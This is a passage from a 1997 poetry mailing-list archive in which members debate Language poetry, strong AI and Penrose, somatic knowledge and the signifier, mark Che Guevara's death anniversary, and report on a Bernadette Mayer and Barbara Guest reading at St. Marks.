threatened by the vox populi---witness Cassini. With power occasionally comes consequences no matter how much you are in favor with the prevailing economic forces. I wish science's motives were as pure as you'd like them to be. Then when crunch time arrives they might be more open to others' opinions. See Oppenheimer and the Compton group in Chicago. Logical Positivism has "failed", "collapsed" whatever; but no not Strong A.I. It's just decades behind schedule; and this after taking hundreds of millions of dollars in taxpayer money with pronouncements such as "The mind is a meat machine."--Marvin Minsky. And "My thermostat has three beliefs; It's too hot in here. It's too cold in here. It's just right in here."--John McCarthy. Roger Penrose has shown in his two books, Emperor's New Mind and Shadows of the Mind that Strong A.I. is "a priori impossible." Penrose, however, fails to realize that the more powerful elements control language as well research money. If the definition of intelligence for example is altered and generally accepted to include the capacities of a compass to point north then the compass will become a sentient class of beings. I think it was Thales who thought that lodestones had souls. I know it was John McCarthy who thought thermostats did. If Barrow and Tipler are talking about some future "intelligent computer", they cannot be addressing anyone who has explicitly denied that hypothetical existence its "full human rights." The deniers no more exist than the hypothetical machines. But sorry Tom they intend for existing technology to have full human rights. Think of the legal implications. You may as well think, Barrow and Tipler can't. Don't read the Barrow and Tipler passage to women if you want to have any kind of social life. (Actually, don't read it to anybody

except Strong A.I. advocates.)I've shown it to at least fifty women and they unanimously found it offensive. No doubt Sokal would have some insights to offer these women. Finally, to my knowledge no one has ever lynched a CRAY though they are sold in the marketplace. Neither their creators or the hypothetical machines will suffer any of the historical oppression that was and is visited upon women and blacks. So what the fuck are two pampered scientists like Barrow and Tipler talking about? They've never missed a meal in their lives and the machines don't eat. The oppression Barrow and Tipler fabricate reveals at best a juvenile aesthetic and at worst the Self-Reproducing Automata agenda whereby human beings will be replaced by their machine progeny. This wasn't proposed by Ray Bradbury or Dan Quayle but by one of the founding fathers of artificial intelligence, John von Neumann. No, Barrow and Tipler's remark is inane and insulting and reveals that moral lacuna that resides at the heart of the scientific project in general and since time immemorial has been associated with systems of quantification and formalization. I think it is appropriate to wonder why, now at the advent of global ecological events which appear overwhelmingly negative, the scientific community and its corporate sponsors will broach no criticism at the epistemological and hermeneutic level. And this when the same questions were raised 68 years ago by the very physicists and mathematicians that made the present technological circumstances possible. Events like the building of the atomic bomb produced an intolerance that makes all such speculation seem a "diriment to our unific and expanding order..." as David Jones put it in his great poem on conformity, The Fatigue.---Carlo Parcelli

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202. Susan Wheeler

Marianne Moore

Wed 8 Oct 1997

Any recos for texts that treat Moore's work's relationship to the self, or her own relationship to tradition (outside of the recent Fenton piece in NYRB) would be greatly appreciated backchannel. Many thanks.

Susan Wheeler
[redacted]
voice/fax [redacted]

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203. R. Gancie
SoKalled
Thu 9 Oct 1997

Tom. Minsky quote should read, "The brain is a meat machine." Sorry, writing from memory and in a hurry after a long days work takes its toll.---Carlo Parcelli

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204. George Bowering
Re: Defining Language Poetry
Thu 9 Oct 1997

> *I strongly recommend to you a sensative poet called Robert Lowell (and come to think of it, another named Robert Bly)...They have *lots* to "express"...*
>
> *Mark P.*

That is exactly why I have always distrusted those two guys, because they are expressing stuff, which implies to me that words are something they USE.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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205. Rachel Levitsky
Re: social tangles
Thu 9 Oct 1997

David--
I've been off for a few days but catching up caught yr post and I thought of this, recently read.

The factory, the factory universe, the one
breathing for you. There's no other air but the one it
pumps, rejects.

One is on the inside.

All spaces are occupied: everything has become
garbage. Skin, teeth, eyes.

One moves around in between shapeless partitions. One
comes across people, sandwiches, coke bottles,
instruments, paper, crates, screws. One moves in a
vague manner, outside time. Neither beginning nor end.
Things exist together, simultaneously.

Inside the factory, things are being made all the time.

One is inside, in the great factory universe, the one
breathing for you.

--Leslie Kaplan from _L'Exces-L'usine_--#11, trans. Serge Gavronsky

Also Minnie Bruce Pratt is writing some very wonderful cantos of the real, one I know is one we published,"The A&P" in _Bombay Gin_ 1997.

David Bromige wrote:
>
> "I disagree...that art can contain the same sense of social urgency
> as...the discussions on this list"
>
> sorry i dont recall who posted the above....and i dont want to quibble over
> vocabularies....but thought i'd post these 2 items & see what response they
> get : do people find them containers/containments of "social urgency" ? (I
> do).
>
> Proletatian Portrait
>
> A big young bareheaded woman
> in an apron
>
> Her hair slicked back standing
> on the street
>
> One stockinged foot toeing
> the sidewalk
>
> Her shoe in her hand. Looking
> intently into it
>
> She pulls out the paper insole
> to find the nail
>
> That has been hurting her
>

> **********
>
> A factory
> has also another aspect, which we call the financial aspect
> It gives people the power to buy (wages, dividends
> which are power to buy) but it is also the cause of prices
> or values, financial, I mean financial values
> It pays workers, and pays _for_ material.
> What it pays in wages and dividends
> stays fluid, as power to buy, and this power is less,
> per forza, damn blast your intellex, is less
> than the total payments made by the factory
> (as wages, dividends AND payments for raw material
> bank charges etcetera
> and all, that is the whole, that is the total
> of these is added into the total of prices
> caused by that factory, any damn factory
> and there is and must be therefore a clog
> and the power to purchase can never
> (under the present system) catch up with
> prices at large,
> and the light became so bright and so blindin'
> in this layer of paradise
> that the mind of man was bewildered.
>
> (excerpted from Pound, Canto XXXVIII)
>
> *******
>
> a footnote to another recent thread, re bly & williams (since "Proletarian
> Portrait" is by williams)--bly's "williams had no inner life" is pretty
> close to pure in the projection department. Bly, the man who chautauquas
> around like a rotarian of spirituality, talking and talking about the inner
> man, accuses williams, the smalltown doctor whose attic-typed poems are
> revelatory but require some consideration, some quiet time on behalf of
> both reader and writer, of everything he himself lacks. Williams can only
> answer him with silence.

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206. George Bowering
Re: Defining Language Poetry
Thu 9 Oct 1997

> *I'm curious...why use words, rather than a saxophone or oil paints, if there isn't supposed to be some amount of denotative quality to them?*

I find some words beautiful. Like chicken. I love that word. In fact it is my favourite word. I like it better than a chicken, in fact.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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207. George Bowering
Re: starving to death in a land of plenty
Thu 9 Oct 1997

> *In a message dated 97-10-08 05:23:15 EDT, you write:*
>
> *Somatic knowledge has nothing to do with the signifier.*
>
> *What???*

What do you mean, what? That sounds about right to me.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

208. Alan Jen Sondheim
Re: starving to death in a land of plenty
Thu 9 Oct 1997

On Wed, 8 Oct 1997, George Bowering wrote:

> *In a message dated 97-10-08 05:23:15 EDT, you write:*
>
> *Somatic knowledge has nothing to do with the signifier.*
>
> *What???*
>
> *What do you mean, what? That sounds about right to me.*

I agree - below is the followup post I sent to a couple of lists - Alan

---

Lessen / Up (Where's my Jumper?)

"Subject: starving to death in a land of plenty

Somatic knowledge has nothing to do with the signifier."

Now please note, _somatic_ knowledge, the field of the body - flows, in- tensifications, inscriptions blurred among moments of affect. Now this is not the signifier of the tattoo, nor is it an n-dimensional representation or substrate. One might consider it a _topography_ not in fact.

Certain an external event, bicycle fall!, can occasion a somatic response, but as Scarry might say, the reports fall short of the event, nor are the reports more than, perhaps, a meandering _among_ descriptors, all of which miss the literal mark.

Here of course I am relating "the signifier" to declarative sentences which purport "true" descriptions of events, states, processes: "I fell off my bike!" Now it is not true that these sentences are the scaffolding of somatic knowledge; they are a residue which creates certain effects within the listener, which are designed to reproduce what might be consid- ered a _shell_ structure in relation to the somatic kernel.

Here, in this space, note carefully now, we are constrained by and large to ascii-text or a text which follows the protocols sufficiently to per- mit transmission - in other words, there is always an etiquette at work. Thus (not that this necessarily follows), we are within a land of plenty, and even ascii-text expands and opens spaces (I write to you - I create packets, message-ids, a space/shift/slot in your inbox) indefinitely - there is little preordained limit on this, besides the practical exig- encies occasioned by various ISPs.

But then, beyond this bot-ulism, this reproduction which may run of its own accord, there is the somatic, starved, ill-served and servicing. The body mumbles, burps, gurgles, pisses, shits, scratches, ahems, argghs, yells, jumps, runs, sings,

huddles, stands, sits, or so it might seem, and whatever the report might be, there's always a _senseless_ disjunction.

This is a _test_ of thoughtless language:

What is your body doing _now_?
What are you _thinking_ of doing?
Is what you are _thinking_ of doing, what your body will be doing?
Will you be doing the thinking for your body?
Will your body be doing the thinking for you?
What is your body doing _now_?

Thus starved in a plentiful land, somatic language, translated, becomes one with the flattening of affect and capital, for it is capital that creates protocol, etiquette, permission, for what can only be considered _the passing of signs._

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209. **Tom Beard**
Re: SoKalled
Thu 9 Oct 1997

First of all, thanks for pointing out that Barrow and Tipler were referring to current technology: this is indeed stupid and offensive. But I've never heard of anyone claiming that "intelligent computers" currently exist, at least not to the extent that they could remotely compared to human beings.

On the other hand, I don't find Penrose's arguments against strong AI at all convincing. I would side with Minsky, Turing, Hofstadter et al in considering it possible that at some time we may devise systems that are on a par with human intelligence. At that stage, we might wish we had considered the ethical implications, and extended our thoughts of what might constitute life and consciousness outside of the organic realm. I certainly wouldn't claim that turning off my PC constitutes murder, but if it passsed a Turing test and you were unable to distinguish its responses from that of a human being, I would hope that you might think twice about rebooting. At the very least, proponents of strong AI and artificial life force us to rethink our preconception that life and intellect can only exist within flesh.

I can't agree with Dirda that "[Hofstader] hardly considers the moral or humane character of great works of art" - this might apply to Le Ton Beau De Marot (which I haven't read), but certainly not to his essay on Chopin (see Metamagical Themas). And if he does concentrate on the formal aspects of art rather than the "moral or humane" dimension, is this such a crime? Hofstadter recognizes that human beings aren't limited to dealing with humanity as a subject, and can

find or create great beauty in abstractions, such as a Bach fugue, an Escher drawing, or a mathematical theorem. People who consider such austere arts to be cold and inhuman have, in my opinion, a very limited view of what it means to be "human". If H. prefers a Beautiful Aperiodic Crystal of Harmony to a Composition of Aleatorically Generated Elements, that is his prerogative. But then, I like Kraftwerk, so what do I know?

I don't quite agree with Minsky that "The mind is a meat machine": I consider mind to be software that is in principle "platform-independent". And while I no longer agree with John McCarthy's statement about even basic cybernetic systems (such as a thermostat) possessing rudimentary beliefs and desires (my conception of consciousness has changed since I read Jaynes), I do find it useful to consider such concepts as intellect and consciousness as part of a continuum. I don't think one can draw a line (somewhere between humans and the other primates? between primates and other mammals? between multi- and single-celled organisms? between bacteria and machines?) and say "here is where intellect ends". And I don't think that McCarthy would have used the word "soul" in the same way that Thales did (I don't think "soul" is a particularly useful word here, laden as it is with religious and mystical overtones).

Please don't think that I'm trying to excuse every excess committed in the name of "science" or "progress". Maybe I am too touchy on the subject, having survived a high school science teacher who was a Creationist. As a former operational meteorologist, I'm only too aware of the fallibility of science and the way that natural phenomena resist all the narratives and theories that we thrust upon them. We make hypotheses every day about how the atmosphere "should" behave, and have these hypotheses disproved more often than we would like. We are much more aware of the tentative, provisional nature of scientific knowledge than most non-scientists acknowledge.

But as a writer, I am glad to have some of that knowledge, contingent as it may be. You write, "Indeed, it is possible to get your poetics from sources such as Dennett and Hofstader---but at what cost?". Well, most of my poetics comes from Creeley, Oppen, Leggott and Manhire, rather than science writers, but I can't ignore what I've read in the realms of neurology, biology, mathematics or cognitive science when I'm writing. Both science and poetry speak to me about what it is to be human, and give me different (though not necessarily incompatible) tools for investigating experience.

Tom Beard.

"Two cheers for reductionism!"

- Stephen J Weinberg

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210. Tom Beard
Re: Defining Language Poetry
Thu 9 Oct 1997

> > I'm curious...why use words, rather than a saxophone or oil paints, if there
> > isn't supposed to be some amount of denotative quality to them?

I read an interesting quote from William Gass today, which may be of some sidelong relevance to this:

"The elaboration that can be accorded the letter 'r', for example, far outruns its meaning, yet it would receive no elaboration at all if it were not a letter."

The way I read this, when translating from letters to words, is that "the elaboration (or deconstruction/disjunction/torquing/whatever) that can be accorded a word far outruns its meaning, yet it would receive no elaboration (etc) if it were not a word." It is the fact that words unavoidably denote that leads us (well, some of us) to undercut that denotation, to play with the words as if we could ignore their denotation, to pretend that they denoted something else.

The very fact that words are much less suited to non-denotative abstraction than saxophones or oil paints sometimes makes it more interesting to try.

The Gass quote, by the way, I found in "The Alphabet Abecedarium" by Richard J Firmage, which I am finding a delightful read. Another interesting quote from Gass, which I saw in U&lc (why am I always coming across Gass in typographic journals and books? Perhaps I should read the guy!), was along the lines of "Is it possible to write a tragedy in limerick?" This is one of the best summations I've seen of the whole form/content saga.

Tom Beard.

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211. henry gould
Re: starving to death in a land of plenty
Thu 9 Oct 1997

On Thu, 9 Oct 1997 01:15:10 -0400 Alan Jen Sondheim said:
>> >
>> >> Somatic knowledge has nothing to do with the signifier.

This sentence seems rather self-contradictory. Without that little "signifier" up there, how would we know there was some generality you wished to discuss called "somatic knowledge"? So the 2 are already entangled.

& I would reverse your subsequent elaboration on this sentence. I'd say - the word becomes flesh. Why do you attack words for speaking out of turn, or stones or the body for mumbling now & then? The stones long to sing in the archway. I would agree with the psychologist- philosopher-camp survivor Frankl - our challenge is not to live in a meaningless existentialist disjunct world; our challenge is to come to terms with pervasive cosmic order beyond our comprehension. Frankl & Kafka are maybe 2 sides of a coin. - Henry Gould

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212. henry gould
defining language
Thu 9 Oct 1997

I, too, am tired of pooh-poohing poor langpo, and am not going to babble on about that. Mark Prejsnar & others put up a very good defense of a wide stream of poetry which approaches language as free play and material for art. My position is, that while I admire enjoy & respect much of the work discussed as examples of this stream, if I think about the theoretical or "language" under-pinnings of poetry in general, the idea of turning away strict denotation for free artistic play is fine and stimulating & promising - but insufficient. (ok, Jordan, I remember your complaint about "it's always not enough". ok, you're right, why am I complaining...).

I'm not complaining. It just seems like there's a potential trap with this approach. The trap is that if you're trying to avoid narrow reference or denotation too much, you end up with the reverse : THE WORDS NARROWLY ONLY DENOTE THEMSELVES. THE POEM NARROWLY MEANS ONLY ITSELF. THE ART IS NARROWLY ONLY AUTONOMOUS.

What I miss - and I say in all seriousness, as everybody knows this is my foot of clay, I miss it because I probably haven't looked for it - WHAT I MISS anyway in this whole postmodern stream is two things: a sense of musical continuity and an attention to the SEMANTICS of the poem - the communicative MEANING(S) as a field of play. In order to communicate meaning there has to be a pervasive motive, an impulse, an authorial hand in every dimension; but in order to "play" the meaning must be musical, have some kind of harmony in dis-harmony. So what is required is not a blockade of denotation but a manifold reference, a manifestive manifold. Word as four-fold allegory. Now Ashbery, for example, is an avatar of the postmodern play approach, and he definitely understands musical development. But I find no pith in his work, no stringency; he's like a huge spongy mushroom from the woods in upstate NY transplanted to NY city. Clark Coolidge is great - a rhythmic jazz drummer of language - very stimulating - but I look in vain for the conjunction of music with semantics there. It's all music. I

want to be taken someplace in thought as well as sound, not have my thought always dead-ended by ambivalence, discontinuity, and meaninglessness. These are just examples. They can of course be countered with dozens & dozens of examples of well-meanin thoughful overbaked tepid sodden cautious pudgy boney academic prof-poets, their poems full of "meaning", pathos, experience, sensitivity, political correctness, etc. etc. for which the Prejsnar school provides a welcome relief. - Henry Gould

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213. **Mark Prejsnar**

Re: Defining Language Poetry

Thu 9 Oct 1997

Your way of putting it reminds me of the passage from Zukofsky that Peter Quatermain quotes so often (which admittedly is Zuke making a point, using very highly-charged rhetoric): subordinating the writing process to a dogged, four-square "message" is to take a "predatory" attituide toward the poem..

Mark P.

On Wed, 8 Oct 1997, George Bowering wrote:

> *I strongly recommend to you a sensative poet called Robert Lowell (and come to think of it, another named Robert Bly)...They have *lots* to "express"...*
>
> *Mark P.*
>
> *That is exactly why I have always distrusted those two guys, because they are expressing stuff, which implies to me that words are something they USE.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

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214. Burt Kimmelman
Re: the Gooch biography of Frank O'Hara
Thu 9 Oct 1997

---

yes but i wonder if the "bird" film didn't at least avoid a kind of prurience gooch has been accused of.

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215. Christina Fairbank Chirot
For Che Guevara
Thu 9 Oct 1997

(from dave baptiste chirot)

Today is the 30th anniversary of the execution of Che Guevara, 9 October 1967.

A day of respect work and study in honor of his example!

Viva Che!

"And from all the other brother nations of America, and from our land, if it still survived as an examplle, the voicee of the peoples will answer you, from that moment on and for ever: "It shall be so: may liberty be conquered in each corner of America!"

Che Guevara, 28 July 1960

One day the people struck their captive match, prayed with anger
and supremely full, circular,
closed their birthday with elective hands;
the despots were already dragging padlock
and in the padlock their dead bacteria . . .

Battles? No! Passions And passions preceded
by aches with bars of hopes,
by aches of nations with hopes of men!
Death and passion for peace, of common people!
Death and passion for war among olive trees, let's get it straight!
Thus in your breath the winds change atmospheric needles
and the tombs change key in your chest,
your frontal rising to the first power of martyrdom.

--Cesar Valljo, "Hymn to the Volunteers for the Republic"
Spain Take this Cup From Me (trans. Eshleman)

"How does one reconcile individual effort with the needs of society? We again have to recall what each of our lives was like, what each of us did and thought, as a doctor or in any other other public health function, prior to the revolution. We have to do so with profound critical enthusiasm. And we will conclude that almost everything we thought and felt in that past epoch should be filed away, and that a new type of human being should be created. And if each one of us is his own architect of that type human type, then creating that new type of human being . . . will be that much easier."

--Che Guevara, 28 July 1960

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216. **Gwyn McVay**
SoKalled misreading
Thu 9 Oct 1997

Flipping through a couple of posts quickly, my little meat brain read one phrase as "Pinsky's opposition to AI." I wondered who had interviewed the Poet Laureate on the subject of AI-produced poetry, and why he would feel threatened by what is still a collection of fairly lame attempts...

Gwyn(?)

↑ Index

217. **Judy Roitman**
Re: SoKalled
Thu 9 Oct 1997

I'm not familiar with everyone discussed in R. Gancie's message, but the ones I am familiar with are not universally loved in the science/math community. For example, Penrose's books on the mind got quite negative reviews in the American Mathematical Society's Notices (the AMS is the main math research organization), essentially on the grounds that he doesn't understand Godel. Hofstader is widely regarded as either ignorant or a lightweight, depending on how charitable one feels at the moment. Barrow's attachment to the anthropomorphic principle (= the universe exists so we can) is so obviously ego-serving it's hard to take seriously. As for John von Neumann, yes, he was a great mathematician. That and $1.75 will get you a decaf capuccino in our little town.

The point being that the science/math community is as varied as the literary one, and folks of all sorts tend to spout off about things they don't understand not realizing that they don't understand.

You learn one methodology and apply it to everything, sooner or later you make a fool of yourself, yes? Doesn't matter what that methodology is.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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218. **Mark Prejsnar**

Re: defining lang and the Prejsnar School

Thu 9 Oct 1997

Henry, I think your last post (re: what you find "insufficient" etc.) was excellent, and fair. I guess my various polemical fussilades have been to some extent, about trying to clear space. Space for a lot of different approaches. I often feel that put-downs of LangPo, by collective label, seem to be about wanting to retreat from some of the superb work of the last 30 years, and to retreat from the very large spaces it has opened up. The collective putting-down does another thing, it tends to obscure discussion of the poetry per se, and particularly the work of specific poets. A friend recently found Ariel 8 (the Barrett Watten issue) at a book sale, and since he already owned it, bought it for me. (I haven't had the dough recently to get too many mags..) Norman Fischer's essay on the shape of Watten's career in that issue, seems to me one of the most exciting critical discussions I've happened on in a long time..A great example of the kind of attention I feel we should be giving more poets; some of the really great ones are in danger of disappearing beneath a too-easily-employed collective label. (In the mid-eighties two of Wattens books, which were at that time somewhat rare, Opera-Work and 1-10, were available to me thru a library where I worked, and had a great impact on me; ...I agree with Fischer that his work is special and important, and recommend to everyone the new collection of his stuff to date, "Frame," from Sun & Moon,,)

I guess what I'm saying, is that I value a community of practitioner/readers, who spend more energy sharing and discussing what they like, than dissing what they find less useful, less exciting. It seems harmless and reasonable (I've been second to none in explaining what I find bankrupt in the academic workshop APR-ish poetry establishment) until someone attacks what *you* consider valuble. Than it becomes clearer A. how any attacks you don't agree with always sound to you like they proceed from careerist envy and spite; and B. how unproductive they can seem. Much better to use our puny available resources to build the things we most value in the way of alternative poetries..

Mark P.
atlanta

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219. Judy Roitman
Re: SoKalled
Thu 9 Oct 1997

A story not exactly about Minsky.

Once a very long time ago I was visiting friends who were being visited by Minsky and his daughter. A man had just awakened from a very long - 10 year? - coma in which he apparently was aware of everything around him (and how could this be a coma one asks? but at the time we didn't) and we were all clucking about the poor man as one does hearing news like this and Minsky's daughter -- about 17 at the time -- said "why are you so sorry for him? think of all the thinking he was able to do!" We all looked at her incredulously.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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220. groberts
Re: defining language
Thu 9 Oct 1997

"An Optomist"

We tricked-up poets practice to deceive:
Ask of us and Voila! you shall receive.

"A Pessimist"

Delivering all things you can conceive
Doesn't sound much like any life I live.

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221. **henry g**
Re: Defining Language Poetry
Thu 9 Oct 1997

On Thu, 9 Oct 1997 09:45:28 -0400 Mark Prejsnar said:
>Your way of putting it reminds me of the passage from Zukofsky that Peter
>Quatermain quotes so often (which admittedly is Zuke making a point,
>using very highly-charged rhetoric): subordinating the writing process to
>a dogged, four-square "message" is to take a "predatory" attituide toward
>the poem..

this argument assumes the message comes from the poet. see Mandelstam's "Slate Ode" - one of heaviest & most direct of his poems about poetry. the "command" comes from "elsewhere", from the somatic (or semantic) depths, if you like. people get tired of my carping, I know. I get tired of it. but poetry is deeper, weirder, & more global than we think. we've had our teddy bearigans & our lang-pooh bears. now go sit at the feet of those russian bears for a while. that's been my "message" here for a long time. do what I do, not what I say. [to the tune of "Song of the Volga Boatmen"] grrrrrrrr..... - Henry Gould

"the sermon of the plumbline" - O.M.

↑ Index

222. **henry g**
Re: defining lang and the Prejsnar School
Thu 9 Oct 1997

On Thu, 9 Oct 1997 10:17:38 -0400 Mark Prejsnar said:
>
>I guess what I'm saying, is that I value a community of
>practitioner/readers, who spend more energy sharing and discussing what
>they like, than dissing what they find less useful, less exciting. It
>seems harmless and reasonable (I've been second to none in explaining what
>I find bankrupt in the academic workshop APR-ish poetry establishment)
>until someone attacks what *you* consider valuble. Than it becomes
>clearer A. how any attacks you don't agree with always sound to you like
>they proceed from careerist envy and spite; and B. how unproductive they
>can seem. Much better to use our puny available resources to build the
>things we most value in the way of alternative poetries..

Mark, you have solid grounds to criticize me & others who spout off endlessly dissing things in general. I confess to being a laughably lazy reader who works across the street from one of THE premier collections of poetry in english (the Harris collection) & hardly ever going in there. Yet your statement above

seems to be a confession of the clique mentality. Any attacks on the poetry YOU like are seen as careerist, etc. So I still say, mea culpa, I'm sorry I talk too much, but as somebody who's been writing in a different vein for at least as long as the postmodernists & all their ilk, I still find a productive place for literary spite. If you can't look in a completely different direction once in a while you're gonna get very parochial fast. But yeah, more positive reviews would be good (I HAVE sent a FEW to this list over the yrs...) - Henry G.

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223. Maria Damon

Re: the Gooch biography of Frank O'Hara

Thu 9 Oct 1997

At 8:59 AM -0500 10/9/97, Burt Kimmelman [redacted] wrote:
>yes but i wonder if the "bird" film didn't at least avoid a kind of prurience
>gooch has been accused of.

bird wasnt sexually prurient but wallowed in a kind of artist-as-victim, and especially black-artist-as-addict bathos that made it a dismal viewing experience...

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224. Layne Russell

Re: For Che Guevara

Thu 9 Oct 1997

(from dave baptiste chirot)
>
> Today is the 30th anniversary of the execution of Che Guevara, 9
> October 1967.
>
> A day of respect work and study in honor of his example!
>
> Viva Che!
>
> "And from all the other brother nations of America, and from our
> land, if it still survived as an examplle, the voicee of the peoples will
> answer you, from that moment on and for ever: "It shall be so: may liberty
> be conquered in each corner of America!"
>
> Che Guevara, 28 July 1960
>
> One day the people struck their captive match, prayed with anger
> and supremely full, circular,

> closed their birthday with elective hands;
> the despots were already dragging padlock
> and in the padlock their dead bacteria . . .
>
> Battles? No! Passions And passions preceded
> by aches with bars of hopes,
> by aches of nations with hopes of men!
> Death and passion for peace, of common people!
> Death and passion for war among olive trees, let's get it
> straight!
> Thus in your breath the winds change atmospheric needles
> and the tombs change key in your chest,
> your frontal rising to the first power of martyrdom.
>
> --Cesar Valljo, "Hymn to the Volunteers for the Republic"
> Spain Take this Cup From Me (trans. Eshleman)
>
> "How does one reconcile individual effort with the needs of
> society? We again have to recall what each of our lives was like, what
> each of us did and thought, as a doctor or in any other other public
> health function, prior to the revolution. We have to do so with profound
> critical enthusiasm. And we will conclude that almost everything we
> thought and felt in that past epoch should be filed away, and that a new
> type of human being should be created. And if each one of us is his own
> architect of that type human type, then creating that new type of human
> being . . . will be that much easier."
>
> --Che Guevara, 28 July 1960

thank you dave heard a feature on Che this morning on KPFA while enjoying some quiet moments before my first high school English class

layne

p.s. have polished a couple corners on the Yvonne Rainer/red balls dance poem. I think it's there now.

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

225. Rachel Levitsky
Re: defining language
Thu 9 Oct 1997

"once you play a note, it goes into the atmosphere and is gone." --Sun Ra

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226. Alan Jen Sondheim
Re: starving to death in a land of plenty
Thu 9 Oct 1997

On Thu, 9 Oct 1997, henry gould wrote:

> *On Thu, 9 Oct 1997 01:15:10 -0400 Alan Jen Sondheim said:*
>
> *Somatic knowledge has nothing to do with the signifier.*
>
> *This sentence seems rather self-contradictory. Without that little "signifier" up there, how would we know there was some generality you wished to discuss called "somatic knowledge"? So the 2 are already entangled.*

Only in totality, not in particulars.

>
> & I would reverse your subsequent elaboration on this sentence.
> I'd say - the word becomes flesh. Why do you attack words for speaking
> out of turn, or stones or the body for mumbling now & then? The stones
> long to sing in the archway. I would agree with the psychologist-
> philosopher-camp survivor Frankl - our challenge is not to live
> in a meaningless existentialist disjunct world; our challenge is to
> come to terms with pervasive cosmic order beyond our comprehension.
> Frankl & Kafka are maybe 2 sides of a coin. - Henry Gould
>

I didn't say anything was either meaningless or existentialist; I was pointing to the specificity of _this_ space in fact. And how the word becomes flesh is beyond me, although I do understand the performativity of words.

Alan

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227. Suzanne Burns
unsubscribe?
Thu 9 Oct 1997

I'd like to temporarily unsubscribe-- I'm going away for a few weeks.

How do I do that?

SB

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228. William Marsh
Re: defining language
Thu 9 Oct 1997

At 08:15 AM 10/9/97 EDT, Henry G wrote:
>What I miss - and I say in all seriousness, as everybody knows this
>is my foot of clay, I miss it because I probably haven't looked for
>it - WHAT I MISS anyway in this whole postmodern stream is two things:
>a sense of musical continuity and an attention to the SEMANTICS of the
>poem - the communicative MEANING(S) as a field of play. In order to
>communicate meaning there has to be a pervasive motive, an impulse,
>an authorial hand in every dimension; but in order to "play" the meaning
>must be musical, have some kind of harmony in dis-harmony.
>So what is required is not a blockade of denotation but a manifold
>reference, a manifestive manifold. Word as four-fold allegory.
>...
>I want to be taken someplace in thought as well
>as sound, not have my thought always dead-ended by ambivalence,
>discontinuity, and meaninglessness.
>

this is an excellent post and to me brings this thread to center, to crux / most critiques of the langpo/postmod strain complain that much of this body of writing just doesn't offer the aesthetically pleasing, transportive, evocative reading experience that impassioned readers of poetry generally want / that's a tricky approach, since obviously everyone goes in for different reasons, but Henry's post brings this particular response to the surface / i remember going in to language poetry because it, to appropriate Henry's line, "took me someplace in thought as well as sound," and rather than feeling "dead-ended" by ambivalence and discontinuity i felt drawn in and provoked by same (most of it never seemed meaningless to me)

langpo excited precisely because it demanded new paths, new methodologies, of reading (these are the cliches of the form), which to me meant new ways of

thinking, of motivating and mobilising -- all in turn a refreshing departure from the conventionally "accessible" poetries that i'd seen up till then / back in school, i remember this notion of accessibility was the banner cry of the hard-liners generally against langpo: the writings simply were not accessible -- to which i'd counter then as i would now that there are conventions of accessibility (rules of syntax, form, notions of speaker and address, etc.) that can and should be challenged -- today by us, the descendants of langpo, as much as then by the langpo's themselves / accessibility, in other words, seemed to me like a fancy way of talking about rote expectations, habitual reading practices / language poetry was one answer to the "what i miss" in american poetry

"So what is required is not a blockade of denotation but a manifold >reference, a manifestive manifold. Word as four-fold allegory."

this is a lively statement and useful to anyone writing today trying once again to stretch the boundaries of language (the real lesson and legacy of langpo) / but how for example is "a manifold reference, a manifestive manifold" different from a manifold referentiality--terminology in other words that i can see beeing applied in different context to the "postmod stream"?

bill marsh

↑ Index

229. **Jordan Davis**
B Mayer read
Thu 9 Oct 1997

Got to St Marks after carrying the groceries home (new address: 246 Mott St Apt 24 NYC 10012) to find my wife and Bennett Simpson had saved me a seat in the 120+ crowd, Ed Friedman dimming the lights to encourage the bird flying around the parish hall to calm down and exit, Dug Rothschild climbing the window bay and covering the bird with his coat, catching him, opening the window releasing and applause. Oh causality! Dug sat back down with three feathers and there was Bernadette Mayer sitting in the front of the room at a table. Lisa Jarnot came forward and gave a lovely introduction in which she explained that before she read Bernadette everybody said you have to read Bernadette you have to meet her she'll change your life, and then she did meet her, and Bernadette's poems had changed her (Lisa's) poems, and Bernadette had changed Lisa's life, and it was a lovely introduction. Bernadette read new poems in a calm clear voice and she read some greatest hits ("Corn", "The Complete Introductory Lectures on Poetry") and she read some old fugitive poems from United Artists magazine and from her self-published book _Mutual Aid_, and she read some more new poems and she finished with some poems from her forthcoming collection _Another Smashed Pinecone_, due from United

Artists early 1998. It was a terrific reading, and everybody was there. There was an intermission during which I ran around handing everyone present cards for the first Poetry City reading of the season, next Thursday at 6:30, which is half an hour earlier than usual, Anne Porter and David Shapiro. Anne Porter in case you don't know her work was a National Book Award nominee a couple years back for her book _An Altogether Different Language_, which collected her poems from the last 60 years. She is a favorite poet of Bernadette Mayer and countless other great readers. David Shapiro is the author of thousands of beautiful poems, he teaches at Cooper Union and at William Patterson College, and he is a tremendously thoughtful critic of the arts and one of the main secret catalysts of the renewed love for poetry in the world. He is an open secret. I hope that everybody who reads this message will find it in their budgets and their busy hours to come to this free reading October 16 at Teachers & Writers Collaborative, 5 Union Square West, New York NY. Call me at 1-888-BOOKS-TW if you need directions. Then the intermission concluded and Eleni Sikelianos introduced Barbara Guest, and Barbara Guest read her poems, including pieces from "Quill Solitary Apparition" and from her selected poems. She concluded with works from "Rocks on a Platter", a forthcoming book about poetry. The audience was very pleased with the evening. The following people you may know may be consulted on this assertion: Leonard Schwartz, Anselm Berrigan, Peggy DeCoursey, Bruce Andrews, Eileen Myles, James Sherry, Mei-Mei Berssenbrugge (I think it was her), Steve 